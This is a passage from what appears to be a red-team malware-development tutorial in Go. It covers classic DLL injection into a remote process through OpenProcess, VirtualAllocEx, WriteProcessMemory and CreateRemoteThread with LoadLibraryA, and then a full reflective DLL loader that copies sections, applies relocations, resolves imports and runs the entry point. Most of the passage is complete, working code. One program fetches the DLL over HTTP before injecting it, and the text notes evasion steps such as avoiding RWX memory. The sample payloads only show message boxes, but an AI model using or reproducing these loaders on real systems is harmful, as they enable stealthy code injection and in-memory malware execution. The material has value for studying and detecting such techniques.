	procLoadLibraryA := modKernel32.NewProc("LoadLibraryA")
```

### Create Remote Thread

CreateRemoteThread API will be used to create a thread and run the shellcode.&#x20;

```c
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
```

```c
HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);
```

Only three parameters will be used and the rest will be set to null

* hProcess: Process Handle returned by the OpenProcess API
* lpStartAddress: The address of LoadLibraryA will be passed&#x20;
* lpParameter: LoadLibraryA only accepts one parameter so we pass the address returned by VirtualAllocEx where the path of the dll resides&#x20;
* lpThreadId: Returns the newly created threadID

```go
	// CreateProcess to Load the DLL
	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		procLoadLibraryA.Addr(),
		addr,
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F0XngBwh9xjF3KNvdWsjY%2Fimage.png?alt=media&amp;token=871a474d-61f5-48db-87fc-7fcb3c4570f9" alt=""><figcaption><p>Messagebox withing the Notepad process</p></figcaption></figure>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FOr7IVfNN1ckiHvSHoH4H%2Fimage.png?alt=media&amp;token=17ae0f3b-8cd6-449f-be58-1d290e60bbad" alt=""><figcaption><p>We can see hello.dll in process hacker</p></figcaption></figure>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fnt15x0kUyxf2sxlUSw1c%2Fimage.png?alt=media&amp;token=69b7332a-7246-4ee1-9650-b2c0485736f4" alt=""><figcaption><p>Thread ID 20124: We can see that LoadLibraryA is the start address As expected from our CreateRemoteThread function</p></figcaption></figure>

### DLL Code

```c
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include "windows.h"

void payload()
{
    MessageBox(
        NULL,
        (LPCWSTR)L"Resource not available\nDo you want to try again?",
        (LPCWSTR)L"Account Details",
        MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2
    );
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        payload();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


```

### Complete Code

```go
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	pid := uint32(18080)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//dll pops a messagebox
	sc, err := wget("http://127.0.0.1/hello.dll")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}

	// Write file to disk
	path, err := os.Getwd()
	if err != nil {
		log.Println(err)
	}
	fmt.Printf("[+] Current Directory: %s\n", path)
	fname := path + "\\hello.dll"

	fnameBytes := []byte(fname)
	err = os.WriteFile(fname, sc, 0644)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write file %s ", fname)
	}
	fmt.Printf("[+] Writing file: %s\n", fname)

	//Get a process handle
	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	// Allocate memory on remote process
	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(fnameBytes)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	
	// Write to remote memory
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &fnameBytes[0], uintptr(len(fnameBytes)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(fnameBytes))

	// Get address of loadLibraryA
	procLoadLibraryA := modKernel32.NewProc("LoadLibraryA")

	// CreateProcess to Load the DLL
	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		procLoadLibraryA.Addr(),
		addr,
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```


# 2. Reflective DLL Injection

\#malware #development #golang #dllinjection #reflective #redteam

Introduction

Reflective DLL injection is one of the most common techniques used for loading code in memory. Most c2 frameworks are using some variation of this code to reflectively and dynamically load additional functionality ([meterpreter](https://docs.metasploit.com/docs/development/developing-modules/libraries/using-reflectivedll-injection.html), [cobalt strike](https://www.cobaltstrike.com/blog/revisiting-the-udrl-part-1-simplifying-development)).

It is also common for these frameworks to provide SRDI functionality which is basically the same code as described in this article, turned into assembly and appended (or prepended) to the dll bytes.  That provides more flexibility since the code could be handled the same way as any PIC shellcode.

## Background knowledge

In an ideal scenario we would load the dll in memory, and point execution to the entry point and that would be the end of it. Unfortunately, it's not that simple and quite a few steps are required before executing the dll.&#x20;

The code needs to be broken into 3 parts.&#x20;

### 1. RAW offsets -> RVA

When the dll is on disc the different sections are addressed with the raw offset but when the dll is in memory the different sections are addressed using the RVA. Let's take a look into the[ section headers](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#section-table-section-headers).

{% code lineNumbers="true" %}

```go
type IMAGE_SECTION_HEADER struct {
	Name                 [8]byte
	VirtualSize          uint32
	VirtualAddress       uint32
	SizeOfRawData        uint32
	PointerToRawData     uint32
	PointerToRelocations uint32
	PointerToLinenumbers uint32
	NumberOfRelocations  uint16
	NumberOfLinenumbers  uint16
	Characteristics      uint32
}
```

{% endcode %}

In this case we are particularly interested in lines 4,5 and 6.&#x20;

Let's see the definitions from Microsoft's documentation:

#### VirtualAddress

For executable images, the address of the first byte of the section relative to the image base when the section is loaded into memory. For object files, this field is the address of the first byte before relocation is applied; for simplicity, compilers should set this to zero. Otherwise, it is an arbitrary value that is subtracted from offsets during relocation.

#### SizeOfRawData

The size of the section (for object files) or the size of the initialized data on disk (for image files). For executable images, this must be a multiple of FileAlignment from the optional header. If this is less than VirtualSize, the remainder of the section is zero-filled. Because the SizeOfRawData field is rounded but the VirtualSize field is not, it is possible for SizeOfRawData to be greater than VirtualSize as well. When a section contains only uninitialized data, this field should be zero.

#### PointerToRawData

The file pointer to the first page of the section within the COFF file. For executable images, this must be a multiple of FileAlignment from the optional header. For object files, the value should be aligned on a 4-byte boundary for best performance. When a section contains only uninitialized data, this field should be zero.

So in summary the PointerToRawData points to the data when the dll is at rest, the SizeOfRawData is the actual size of the data pointed to by the PointerToRawData and the VirtualAddress is the Relative address from the base address to be used during execution. When the dll is loaded in memory the image size expands and therefore any additional space will be filled with 0s. To better understand the above concepts we can take a look at PE bear for a visual representation of the dll on disk and in memory.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FTZK84nIgA5JvIa02sQXy%2Fimage.png?alt=media&amp;token=b722c6f5-c545-4390-a304-e3486cb9a7e8" alt=""><figcaption><p>RAW vs Virtual</p></figcaption></figure>

The sections on the left represent the dll on disk while the data on the right represent the dll in memory. The grey padding in between sections is zero-filled.

### 2. Relocations

When a DLL is loaded into memory it's base address is the same as the Image Base address from the optional header right? Nope, Wrong. Ever since the introduction of the ASLR (dll base addresses are randomised by the OS)  it is highly improbable for a dll to be loaded at its preferred address.&#x20;

We could try allocate the specific memory using VirtualAlloc, but it could potentially fail if the memory is already reserved.  If we fail to allocate the preferred address the dll execution will fail since the compiler hardcodes addresses in the dll at compile time.&#x20;

Thankfully for us the hardcoded values are documented in the .reloc section of the executable. Let's have a quick look in the following c structures.

{% code lineNumbers="true" %}

```c
typedef struct BASE_RELOCATION_BLOCK {
	DWORD PageAddress;
	DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY
```

{% endcode %}

We are interested in the PageAddress and the Offset. Adding these two should give us the RVA of the address that needs to be relocated.&#x20;

Let's go back to PE-Bear again in order to understand exactly what we are supposed to do.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FpzabEBAzdKOyYlxs8deb%2Fimage.png?alt=media&amp;token=a33d3f0d-2f34-40ec-a395-fedf0cae6503" alt=""><figcaption><p>Relocations</p></figcaption></figure>

We can see that we have a relocation at page with RVA 0x2000. The offset of the relocation is at 0x558. That gives us the relocation RVA of 0x2558 (0x2000+0x558).&#x20;

At the very top we can see the memory that has the value 40 25 40 AE 03. That is essentially an address pointer 0x03ae722540.&#x20;

From the optional header we can see that the preferred image Base of the DLL is 0x3ae720000.

To get the correct value we need to perform the following calculation:

0x03ae722540 - 0x3ae720000 which will give us the RVA and add the new dll base address returned from VirtualAlloc.&#x20;

We then have to loop through all pages and modify all relocations for all pages.&#x20;

### 3. Import Directory

The last obstacle to executing the dll is to dynamically resolve the Import addresses and modify the IAT to include them. The answer in this [stackoverflow ](https://stackoverflow.com/questions/32841368/whats-the-difference-between-the-import-table-import-adress-table-and-import)article provides a very good explanation of the process.&#x20;

```go
type IMAGE_IMPORT_DESCRIPTOR struct {
	Characteristics uint32
	TimeDateStamp   uint32
	ForwarderChain  uint32
	Name            uint32
	FirstThunk      uint32
}
```

So in the .idata section we can find an array of IMAGE\_IMPORT\_DESCRIPTORS, one for each external dll requirement. This is how it looks in pe-bear.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fe9WMzjXezXZ5Fa4d670C%2Fimage.png?alt=media&amp;token=9b55c173-b68f-44c2-b6e5-83815ef45fb1" alt=""><figcaption><p>IMAGE_IMPORT_DESCRIPTORs</p></figcaption></figure>

So what we are interested is the FirstThunk. That is an RVA pointing to an array of \_IMAGE\_THUNK\_DATA&#x20;

```cpp
typedef struct _IMAGE_THUNK_DATA {
    union {
        uint32_t* Function;             // address of imported function
        uint32_t  Ordinal;              // ordinal value of function
        PIMAGE_IMPORT_BY_NAME AddressOfData;        // RVA of imported name
        DWORD ForwarderStringl              // RVA to forwarder string
    } u1;
} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;
```

When looking at the struct in memory we come across another RVA which essentially points to the name of the function.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FekRWYovnAwgsrnTPq8kl%2Fimage.png?alt=media&amp;token=55d89e24-d2a7-4c7a-8eaa-7568db38f05b" alt=""><figcaption><p>Names of Imported functions </p></figcaption></figure>

So by navigating the IMAGE\_IMPORT\_DESCRIPTOR and the \_IMAGE\_THUNK\_DATA we can get the names (or ordinals) of the functions we need to import and add the memory addresses at the location of the first thunk and then increase by 8 bytes in a loop for all subsequent functions.&#x20;

The following image demonstrates how the end result will look like after the import addresses are written in the IAT:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FHZtCRWO3xJqpTgqnoyKY%2Fimage.png?alt=media&amp;token=ad3eaf60-3218-40f7-a380-a9a5817787da" alt=""><figcaption><p><a href="https://stackoverflow.com/questions/32841368/whats-the-difference-between-the-import-table-import-adress-table-and-import">Import Directory Table</a> </p></figcaption></figure>

## Code analysis

### DLL code

All this code does is to display a MessageBox when the dll is attached to a process. The only exported function is DllMain.

To compile it simply run `gcc -shared -o mydll.dll dll.c`

A compiled version of the dll can be find on my [github repo](https://github.com/scriptchildie/goDLLrefletiveloader/blob/main/reflectivedll/GoreflectiveLoader/mydll.dll)

```c
#include <windows.h>
#define DLLEXPORT   __declspec( dllexport )

DLLEXPORT BOOL DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved);

BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            MessageBoxA(NULL, "DLL PROCESS ATTACH", "Bingo!", 0);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        default:
            break;
    }
    return TRUE;
}
```

### 1. Read DLL contents

This can be modified so the bytes can be received from the internet, but for the sake of simplicity we just used the ReadFile function to read the contents of the dll in a byte slice.&#x20;

We then get a pointer to the first byte of the slice to use as the base address.&#x20;

```go
dllBytes, err := os.ReadFile("mydll.dll")
	if err != nil {
		log.Fatalf("Failed to open file %v", err)
	}
	dllPtr := uintptr(unsafe.Pointer(&dllBytes[0]))
```

Once the dll is loaded to memory we can then go ahead and capture the contents of the PE headers.&#x20;

```go
type IMAGE_NT_HEADERS64 struct {
	Signature      uint32
	FileHeader     IMAGE_FILE_HEADER
	OptionalHeader IMAGE_OPTIONAL_HEADER64
}

// IMAGE_OPTIONAL_HEADER64 represents the optional header for 64-bit architecture.
type IMAGE_OPTIONAL_HEADER64 struct {
	Magic                       uint16
	MajorLinkerVersion          uint8
	MinorLinkerVersion          uint8
	SizeOfCode                  uint32
	SizeOfInitializedData       uint32
	SizeOfUninitializedData     uint32
	AddressOfEntryPoint         uint32
	BaseOfCode                  uint32
	ImageBase                   uint64
	SectionAlignment            uint32
	FileAlignment               uint32
	MajorOperatingSystemVersion uint16
	MinorOperatingSystemVersion uint16
	MajorImageVersion           uint16
	MinorImageVersion           uint16
	MajorSubsystemVersion       uint16
	MinorSubsystemVersion       uint16
	Win32VersionValue           uint32
	SizeOfImage                 uint32
	SizeOfHeaders               uint32
	CheckSum                    uint32
	Subsystem                   uint16
	DllCharacteristics          uint16
	SizeOfStackReserve          uint64
	SizeOfStackCommit           uint64
	SizeOfHeapReserve           uint64
	SizeOfHeapCommit            uint64
	LoaderFlags                 uint32
	NumberOfRvaAndSizes         uint32

	DataDirectory [16]IMAGE_DATA_DIRECTORY
}


// IMAGE_FILE_HEADER represents the file header in the IMAGE_NT_HEADERS structure.
type IMAGE_FILE_HEADER struct {
	Machine              uint16
	NumberOfSections     uint16
	TimeDateStamp        uint32
	PointerToSymbolTable uint32
	NumberOfSymbols      uint32
	SizeOfOptionalHeader uint16
	Characteristics      uint16
}

```

The headers hold a lot of information that will be useful throughout our program. To cast the dll pointer to the above structure the following code is used:

```go
	e_lfanew := *((*uint32)(unsafe.Pointer(dllPtr + 0x3c)))
	nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(dllPtr + uintptr(e_lfanew)))
```

From now on instead of having to read contents of the memory we can use this struct to get our desired values.&#x20;

### 2. Allocate memory for the dll

As discussed in the previous section we will have to rearrange the layout of the dll to match the expected RVA offsets. In order to do that we will used VirtualAlloc Windows API. In order to to avoid having the highly suspicious RWX permissions we will first assign the RW permissions and then change the permissions of the .text section to RX.&#x20;

The allocated memory will have the size specified in the OptionalHeader. We also specify the desired address from the optional header. If the memory is being reserved, the specified address is rounded down to the nearest multiple of the allocation granularity. If the memory is already reserved and is being committed, the address is rounded down to the next page boundary.

```go
	dllBase, err := windows.VirtualAlloc(
		uintptr(nt_header.OptionalHeader.ImageBase),
		uintptr(nt_header.OptionalHeader.SizeOfImage),
		windows.MEM_RESERVE|windows.MEM_COMMIT,
		windows.PAGE_EXECUTE_READWRITE,
	)
	if err != nil {
		log.Fatalf("[!] VirtualAlloc Failed")
	}

	fmt.Printf("[+] Allocated address at 0x%x\n\n", dllBase)
```

### 3. Copy the DLL headers

The first step is to copy the headers of the dll to our newlly allocated memory. The headers start from offset 0 and the size can be found in the optional header (SizeOfHeaders).&#x20;

```go
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(windows.CurrentProcess(), 
					dllBase, 
					&dllBytes[0], 
					uintptr(nt_header.OptionalHeader.SizeOfHeaders), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[!] WriteProcessMemory Failed")
	}
```

### 4. Copy the DLL sections

As [previously](#1.-raw-offsets-greater-than-rva) mentioned, copying sections is not straight forward. We will have to turn RAW offsets to RVAs and fill the resulting memory gaps with zeros. Thankfully for us VirtualAlloc allocates a page of zeros therefore we only have to write the sections at the correct offset.&#x20;

Firstly we need to identify how many sections there are in our dll. The IMAGE\_FILE\_HEADER holds that value in the NumberOfSection variable.&#x20;

We then go ahead and calculate the address of our section headers.

```go
	numberOfSections := int(nt_header.FileHeader.NumberOfSections)

	var sectionAddr uintptr
	sectionAddr = dllPtr + uintptr(e_lfanew) 
			+ unsafe.Sizeof(nt_header.Signature) 
			+ unsafe.Sizeof(nt_header.OptionalHeader) 
			+ unsafe.Sizeof(nt_header.FileHeader)
```

We then create a for loop to read the section header entries and copy each section to the right location. Firstly we have to define the IMAGE\_SECTION\_HEADER struct&#x20;

```go
type IMAGE_SECTION_HEADER struct {
	Name                 [8]byte
	VirtualSize          uint32
	VirtualAddress       uint32
	SizeOfRawData        uint32
	PointerToRawData     uint32
	PointerToRelocations uint32
	PointerToLinenumbers uint32
	NumberOfRelocations  uint16
	NumberOfLinenumbers  uint16
	Characteristics      uint32
}
```

{% code lineNumbers="true" %}

```go
	for i := 0; i < numberOfSections; i++ {
		section := (*IMAGE_SECTION_HEADER)(unsafe.Pointer(sectionAddr))
		sectionDestination := dllBase + uintptr(section.VirtualAddress)
		sectionBytes := (*byte)(unsafe.Pointer(dllPtr + uintptr(section.PointerToRawData)))
		fmt.Printf("[+] Copying %d bytes from 0x%x -> 0x%x for section : %s", section.SizeOfRawData, dllPtr+uintptr(section.PointerToRawData), sectionDestination, windows.ByteSliceToString(section.Name[:]))

		err = windows.WriteProcessMemory(windows.CurrentProcess(), sectionDestination, sectionBytes, uintptr(section.SizeOfRawData), &numberOfBytesWritten)
		if err != nil {
			log.Fatalf("[!] WriteProcessMemory Failed: %v \n", err)
		}

		fmt.Printf("	... Bytes 0x%x/0x%x Written\n", section.SizeOfRawData, numberOfBytesWritten)
		if windows.ByteSliceToString(section.Name[:]) == ".text" {
			var oldprotect uint32
			err := windows.VirtualProtect(sectionDestination, uintptr(section.SizeOfRawData), windows.PAGE_EXECUTE_READ, &oldprotect)
			if err != nil {
				log.Fatalln("[ERROR] Failed to change memory permissions")
			}
		}
		sectionAddr += unsafe.Sizeof(*section)
	}
	fmt.Println()
```

{% endcode %}

Line 2: We then cast the section address to the IMAGE\_SECTION\_HEADER

Line 3: We identify the section destination by adding the dllBase returned by VirtualAlloc and adding the section.VirtualAddress.&#x20;

Line 4: We take the source bytes for the byte slice base address and by adding the section.PointerToRawData. &#x20;

Line 7: We write the bytes to memory. The size comes from the section header (SizeOfRawData)

Line 13: We check if the last section written to memory is .text. If that's the case we use VirtualProtect to change the permissions to RX.

### 5. Relocations

With all the dll data now copied in the target address we now have to modify the hardcoded addresses in memory.&#x20;

Firstly we define the following constant to make our code more readable

```go
IMAGE_DIRECTORY_ENTRY_BASERELOC = 0x5
```

We then go ahead and calculate the address of the reolcation\_table and also calculate the value we need to add to our current hardcoded addresses.

```go
relocations := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
relocation_table := uintptr(relocations.VirtualAddress) + dllBase
fmt.Printf("[+] Relocation table Address: 0x%x\n\n", relocation_table)

var relocations_processed int = 0
deltaImageBase := dllBase - uintptr(nt_header.OptionalHeader.ImageBase)
```

A few nested loops are used in order to capture the relocation blocks and the base relocation entries. Before we get into the code let's define a few structures first and a few helper functions.&#x20;

```go
type BASE_RELOCATION_BLOCK struct {
	PageAddress uint32
	BlockSize   uint32
}

// BASE_RELOCATION_ENTRY represents the base relocation entry structure
type BASE_RELOCATION_ENTRY struct {
	OffsetType uint16 // Combined field for Offset and Type
}

// Offset extracts the Offset from the combined field
func (bre BASE_RELOCATION_ENTRY) Offset() uint16 {
	return bre.OffsetType & 0xFFF
}

// Type extracts the Type from the combined field
func (bre BASE_RELOCATION_ENTRY) Type() uint16 {
	return (bre.OffsetType >> 12) & 0xF
}
```

The BASE\_RELOCATION\_ENTRY is not defined the same way it would in C (see below). Since we don't have bit level control to define the last 4 bits we go ahead and combine the two values in a sturct and use the Offset() and Type() helper functions to extract the desired values.&#x20;

```c
typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
```

From the above we only need the PageAddress and Offset to find the RVA of the relocations.&#x20;

Let's dive into the code to see how we can achieve it.

{% code lineNumbers="true" %}

```go
for {

	relocation_block := *(*BASE_RELOCATION_BLOCK)(unsafe.Pointer(uintptr(relocation_table + uintptr(relocations_processed))))
	relocEntry := relocation_table + uintptr(relocations_processed) + 8
	if relocation_block.BlockSize == 0 && relocation_block.PageAddress == 0 {
		break
	}
	relocationsCount := (relocation_block.BlockSize - 8) / 2
	fmt.Printf("[+] PAGERVA : 0x%04x   Size: 0x%02x Entries Count: 0x%02x\n", relocation_block.PageAddress, relocation_block.BlockSize, relocationsCount)

	relocationEntries := make([]BASE_RELOCATION_ENTRY, relocationsCount)

	for i := 0; i < int(relocationsCount); i++ {
		relocationEntries[i] = *(*BASE_RELOCATION_ENTRY)(unsafe.Pointer(relocEntry + uintptr(i*2)))
	}
	for _, relocationEntry := range relocationEntries {
		if relocationEntry.Type() == 0 {
			continue
		}
		fmt.Printf("	--> Value: %X	Offset: %x\n", relocationEntry.OffsetType, relocationEntry.Offset())
		var size uintptr
		byteSlice := make([]byte, unsafe.Sizeof(size))
		relocationRVA := relocation_block.PageAddress + uint32(relocationEntry.Offset())

		err = windows.ReadProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &byteSlice[0], unsafe.Sizeof(size), nil)
		if err != nil {
			log.Fatalf("[ERROR] Failed to ReadProcessMemory")
		}
		addressToPatch := uintptr(binary.LittleEndian.Uint64(byteSlice))
		addressToPatch += deltaImageBase
		a2Patch := uintptrToBytes(addressToPatch)
		err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &a2Patch[0], uintptr(len(a2Patch)), nil)
		if err != nil {
			log.Fatalf("[ERROR] Failed to WriteProcessMemory")
		}

	}
	relocations_processed += int(relocation_block.BlockSize)

}
```

{% endcode %}

Line 3: Calculates the address of the first relocation block

Line 4: Calculates the address of the first relocation entry&#x20;

Line 8: Calculates how many relocations entries in the block&#x20;

Line 11-15 : Creates a slice of BASE\_RELOCATION\_ENTRY and fills it in from the data on memory

Line 16: Loops through the contents of the slice

Line 23: Calculates the relocationRVA&#x20;

Line 25: Reads the contents of the memory from memory

Line 29-31: Turns the byte slice to uintptr, Calculates the new address  and turn it back to byte slice

Line 32-35: Writes the new address back to memory

### 6. Imports

The last piece of the puzzle is to fill in the addresses of the imported functions in IAT. Similarly with the relocations section, we have to find the address of our section from the import header.&#x20;

Let's define our constant for the Data Directory index

```go
IMAGE_DIRECTORY_ENTRY_IMPORT    = 0x1
```

Also the Image Import Descriptor struct has to be defined&#x20;

```go
type IMAGE_IMPORT_DESCRIPTOR struct {
	Characteristics uint32
	TimeDateStamp   uint32
	ForwarderChain  uint32
	Name            uint32
	FirstThunk      uint32
}
```

We then go ahead and calculate the address from the RVA&#x20;

```go
importsDirectory := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
importDescriptorAddr := dllBase + uintptr(importsDirectory.VirtualAddress)
fmt.Printf("[+] Import Descripton address: 0x%x\n\n", importDescriptorAddr)
```

Similarly to the previous section we start looping through the import descriptors

{% code lineNumbers="true" %}

```go
for {
	importDescriptor := *(*IMAGE_IMPORT_DESCRIPTOR)(unsafe.Pointer(importDescriptorAddr))
	if importDescriptor.Name == 0 {
		break
	}
	libraryName := uintptr(importDescriptor.Name) + dllBase
	dllName := windows.BytePtrToString((*byte)(unsafe.Pointer(libraryName)))
	fmt.Printf("[+] Importing DLL : %s\n", dllName)
	hLibrary, err := windows.LoadLibrary(dllName)
	if err != nil {
		log.Fatalln("[ERROR] LoadLibrary Failed")
	}
	addr := dllBase + uintptr(importDescriptor.FirstThunk)

	for {
		thunk := *(*uint16)(unsafe.Pointer(addr))
		if thunk == 0 {
			break
		}
		functionNameAddr := dllBase + uintptr(thunk+2)

		functionName := windows.BytePtrToString((*byte)(unsafe.Pointer(functionNameAddr)))
		proc, err := windows.GetProcAddress(hLibrary, functionName)
		if err != nil {
			log.Fatalln("[ERROR] Failed to GetProcAddress")
		}
		fmt.Printf("	--> Importing Function %s -> Addr: 0x%x\n", functionName, proc)
		procBytes := uintptrToBytes(proc)
		// https://reverseengineering.stackexchange.com/questions/16870/import-table-vs-import-address-table
		var numberOfBytesWritten uintptr
		err = windows.WriteProcessMemory(windows.CurrentProcess(), addr, &procBytes[0], uintptr(len(procBytes)), &numberOfBytesWritten)
		if err != nil {
			log.Fatalln("[ERROR] Failed to WriteProcessMemory")
		}
		addr += 0x8

	}
	importDescriptorAddr += 0x14
}
```

{% endcode %}

Line 2: Casting the pointer to IMAGE\_IMPORT\_DESCRIPTOR

Lines 6-8: Get the name of the dll to load. We can get the DLL name RVA from the importDescriptor.Name. We then get the name from the byte pointer located in the RVA.

Lines 9-12: Load the dll using windows API LoadLibrary

Line 13: Points to the thunk of the first imported function

Line 16: We then read the first 2 bytes to get the RVA to the Hint/Name of the function&#x20;

Lines 20: We add 2 to the RVA to skip the hint and point directly to the Name bytes

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fq2Jj2mZNG1GrCspVLyVG%2Fimage.png?alt=media&amp;token=e96adc9f-af20-4df9-bbf8-b9880824e988" alt=""><figcaption></figcaption></figure>

Line 22: Get the Name of the function

Lines 23-27: Get the address of the function using the GetProcAddress API

Line 28: Turn the uintptr to a byte slice to be used in WriteProcessMemory

Lines 30-34: Overwrite the contents of the thunk with the address of the function.

Line 35: Adds 0x8 bytes to jump to the next thunk

Line 38: Adds 0x14 bytes to jump to the next image descriptor

### 7. Execution

With everything in place we can now use the SyscallN function to execute our code. We first define the DLL\_PROCESS\_ATTACH constant

```go
	DLL_PROCESS_ATTACH              = 0x1
```

<pre class="language-go" data-line-numbers><code class="lang-go">syscall.SyscallN(dllBase+uintptr(nt_header.OptionalHeader.AddressOfEntryPoint), 
		dllBase, 
		DLL_PROCESS_ATTACH, 
		0)
fmt.Println("[+] DLL function executed")
err = windows.VirtualFree(dllBase, 0x0, windows.MEM_RELEASE)
if err != nil {
<strong>	log.Fatalln("[ERROR] Failed to Free Memory")
</strong><strong>}
</strong>fmt.Printf("[+] Freed Memory at 0x%x\n", dllBase)
</code></pre>

&#x20;Lines 1-4: We run the SyscallN function.&#x20;

* The first argument is the address to be executed in our case the entry point of the DLL, In the future we can go through the exports table and run any exported function
* We then have to provide the base address of the dll
* We then have to define the DLL\_PROCESS\_ATTACH in order to execute

Line 6: We perform some clean up actions after we are done executing the dll

